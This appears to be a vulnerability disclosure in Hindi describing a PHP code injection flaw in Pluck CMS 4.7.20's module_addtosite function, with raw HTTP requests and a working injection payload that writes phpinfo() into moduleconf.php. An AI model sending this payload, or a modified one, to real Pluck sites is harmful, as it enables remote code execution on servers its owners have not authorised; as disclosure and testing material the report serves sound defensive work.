
pluck-CMS-4.7.20-कोड-इंजेक्शन-भेद्यता
admin.php में, module_addtosite फ़ंक्शन पूरे $_POST ऐरे को इटरेट करता है, उपयोगकर्ता-नियंत्रित पैरामीटर नामों को explode('|', ...) का उपयोग करके विभाजित करता है और उन्हें सीधे data/settings/themes//moduleconf.php में जोड़ता है। यह फ़ाइल बाद में बैकएंड पेज और फ्रंटएंड theme_area() रेंडरिंग प्रक्रिया में शामिल की जाएगी। चूंकि पैरामीटर नामों में व्हाइटलिस्ट सत्यापन और सुरक्षा एस्केपिंग नहीं की गई है, हमलावर निष्पादन योग्य PHP फ़ाइलों को दूषित कर सकते हैं, जिससे कोड इंजेक्शन कमजोरियाँ उत्पन्न होती हैं।
प्रोजेक्ट पता:https://github.com/pluck-cms/pluck/
पुनरुत्पादन वातावरण:pluck-CMS-4.7.20 Apache2.4.39 PHP7.3.4 MySQL8.0.12
1、सबसे पहले, एक बिल्कुल नया वातावरण स्थापित करें।
2、"/login.php" पेज तक पहुँचें, व्यवस्थापक खाते में लॉग इन करें, और सफल लॉगिन के बाद, वर्तमान Cookie नोट करें जैसा कि निम्नलिखित है: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
GET /admin.php?action=start HTTP/1.1
Host: 10.142.77.31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.142.77.31/login.php
Connection: close
Cookie: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
Upgrade-Insecure-Requests: 1
Priority: u=0, i
3、एक POST डेटा पैकेट भेजें, इंजेक्ट किया गया कोड "phpinfo();" है
POST /admin.php?action=module_addtosite HTTP/1.1
Host: 10.142.77.31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.142.77.31/admin.php?action=start
Connection: close
Cookie: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
save=1%3Bphpinfo%28%29%3B%2F%2F%7Cm%3D11
4、वेबसाइट की रूट डायरेक्टरी तक पहुँचें, और यह होमपेज पर रीडायरेक्ट होगी। यह पाया गया है कि इंजेक्ट किया गया कोड निष्पादित हो गया है। 图片